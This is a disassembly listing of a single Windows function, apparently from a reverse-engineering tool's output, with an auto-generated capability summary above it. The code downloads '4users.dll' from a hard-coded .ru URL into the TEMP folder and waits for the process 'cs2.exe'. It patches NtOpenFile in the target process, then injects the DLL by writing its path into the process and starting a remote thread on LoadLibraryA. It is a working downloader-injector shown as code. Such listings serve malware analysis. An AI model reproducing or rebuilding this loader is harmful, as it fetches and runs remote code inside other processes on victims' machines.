Function at 0x140001220
Capabilities:
Create http request
Create thread
Download and write a file
Enumerate processes
Get common file path
Inject thread
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1260]
mov eax, 0x1360
call fcn.140071ea0
sub rsp, rax
mov rax, qword [0x1402e4040]
xor rax, rsp
mov qword [rbp + 0x1250], rax
xor r15d, r15d
lea rdx, [rbp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x1400012b1
mov dword [0x1402e4ab4], 1
mov rcx, qword [rbp + 0x1250]
xor rcx, rsp
call fcn.14004dc50
lea r11, [rsp + 0x1360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rbp + 0x140]
mov r12, 0xffffffffffffffff
mov rbx, r12
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400012d3
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140001c3c
movabs rcx, 0x8000000000000000
mov eax, 0x16
cmp rbx, 0xf
ja 0x140001330
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
mov r8, rbx
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x48]
call fcn.1400737d0
mov byte [rsp + rbx + 0x48], r15b
jmp 0x1400013bc
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x140001362
mov rdi, r14
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.14004dc70
test rax, rax
je 0x140001c42
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001397
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001385
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c24
jmp 0x140001343
test rcx, rcx
je 0x140001394
call fcn.14004dc70
mov rsi, rax
jmp 0x140001397
mov rsi, r15
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
mov r8, rbx
lea rdx, [rbp + 0x140]
mov rcx, rsi
call fcn.1400737d0
mov byte [rsi + rbx], r15b
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
mov r13d, 0xa
cmp rax, r13
jb 0x14000140f
lea rax, [rcx + 0xa]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, r13d
lea rdx, [0x140080218]
mov rcx, rbx
call fcn.1400737d0
mov byte [rbx + 0xa], 0
lea rax, [rsp + 0x48]
jmp 0x14000142e
mov qword [rsp + 0x20], r13
lea r9, [0x140080218]
movzx r8d, byte [rsp + 0x40]
mov rdx, r13
lea rcx, [rsp + 0x48]
call fcn.140001f20
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140001498
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c48
call fcn.14004dcac
movdqa xmm0, xmmword [0x1402d9470]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
jne 0x140001513
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001281
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001509
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c30
call fcn.14004dcac
jmp 0x140001281
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__nonagonzone.ru_static_loader_4users.dll
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140001556
mov dword [0x1402e4ab4], 2
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400014cf
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400015b4
mov dword [0x1402e4ab4], 3
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400014cf
lea r9, [rbp - 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x250]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001610
nop
mov r8d, dword [rbp - 0x78]
test r8d, r8d
je 0x140001610
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x10]
lea rdx, [rbp + 0x250]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp - 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x250]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400015d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [0x1402e4ab4], 4
lea rcx, str.TEMP
call fcn.140054cfc
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov rbx, r12
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001660
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140001c4e
cmp rbx, 7
ja 0x1400016b1
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], 7
add rbx, rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.1400737d0
xor r15d, r15d
mov word [rsp + rbx + 0x68], r15w
jmp 0x14000174b
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400016c3
lea rcx, [r14 + r14]
jmp 0x1400016e7
mov rsi, rax
cmp rax, 0xa
cmovb rsi, r13
lea rcx, [rsi + 1]
cmp rcx, r14
ja 0x140001c36
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001713
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c36
mov rcx, rax
call fcn.14004dc70
test rax, rax
je 0x140001c54
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001724
test rcx, rcx
je 0x140001722
call fcn.14004dc70
mov rdi, rax
jmp 0x140001724
xor edi, edi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.1400737d0
xor r15d, r15d
mov word [rbx + rdi], r15w
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
sub rax, rdi
cmp rax, 0xb
jb 0x14000179e
lea rax, [rdi + 0xb]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rcx, 7
cmova rbx, qword [rsp + 0x68]
lea rcx, [rbx + rdi*2]
mov r13d, 0x16
mov r8d, r13d
lea rdx, str.4users.dll
call fcn.1400737d0
mov word [rbx + rdi*2 + 0x16], r15w
lea rax, [rsp + 0x68]
jmp 0x1400017bc
mov qword [rsp + 0x20], 0xb
mov edx, 0xb
lea rcx, [rsp + 0x68]
call fcn.1400020b0
mov r13d, 0x16
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14000182b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001826
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c5a
call fcn.14004dcac
movdqa xmm0, xmmword [0x1402d9460]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r15w
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, r12d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
cmp rsi, r14
ja 0x140001c60
cmp rsi, 0xf
ja 0x1400018ae
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov r8, rsi
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.140073e70
mov byte [rbp + rsi - 0x70], 0
jmp 0x14000193d
mov rax, rsi
or rax, 0xf
cmp rax, r14
jbe 0x1400018e7
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004dc70
test rax, rax
je 0x140001c83
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001920
mov r14, rax
cmp rax, 0x16
cmovb r14, r13
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x14000190e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c2a
jmp 0x1400018c8
test rcx, rcx
je 0x14000191d
call fcn.14004dc70
mov rbx, rax
jmp 0x140001920
mov rbx, r15
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], r14
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.140073e70
mov byte [rbx + rsi], 0
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rax, qword [rbp - 0x70]
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop dword [rax]
mov edi, r15d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400019da
mov dword [rbp], 0x130
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400019da
nop
lea rdx, str.cs2.exe
lea rcx, [rbp + 0x2c]
call fcn.140054ddc
test eax, eax
je 0x1400019d7
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400019b0
jmp 0x1400019da
mov edi, dword [rbp + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x140001980
mov dword [0x1402e4ab4], 5
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140001b12
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001a7a
mov ecx, dword [rax]
mov dword [rbp + 0x130], ecx
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x134], cl
mov qword [rsp + 0x20], r15
mov r9d, 5
lea r8, [rbp + 0x130]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x70]
mov r9, qword [rbp - 0x58]
cmp r9, 0xf
cmova rcx, rdx
lea r12, [r12 + 1]
cmp byte [rcx + r12], 0
jne 0x140001ab0
lea r8, [rbp - 0x70]
cmp r9, 0xf
cmova r8, rdx
mov qword [rsp + 0x20], r15
lea r9, [r12 + 1]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140001b1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b1c
mov dword [0x1402e4ab4], 7
xor edx, edx
lea r8d, [rdx + 5]
lea rcx, str.RIFF
call qword [sym.imp.WINMM.dll_PlaySoundA]
test eax, eax
jne 0x140001c66
test rbx, rbx
je 0x140001b45
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001b80
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c83
call fcn.14004dcac
movdqa xmm0, xmmword [0x1402d9470]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140001bcd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c1e
call fcn.14004dcac
movdqa xmm0, xmmword [0x1402d9460]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001281
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001509
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c30
jmp 0x140001509
call fcn.1400552b8
nop
call fcn.140001160
nop
call fcn.140001160
nop
call fcn.1400552b8
nop
call fcn.140001160
nop
call fcn.140001200
int3
call fcn.1400552b8
nop
call fcn.1400552b8
int3
call fcn.140001200
int3
call fcn.1400552b8
nop
call fcn.1400552b8
int3
call fcn.140001200
int3
mov dword [0x1402e4ab4], 6
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140054bf8
int3
call fcn.1400552b8
int3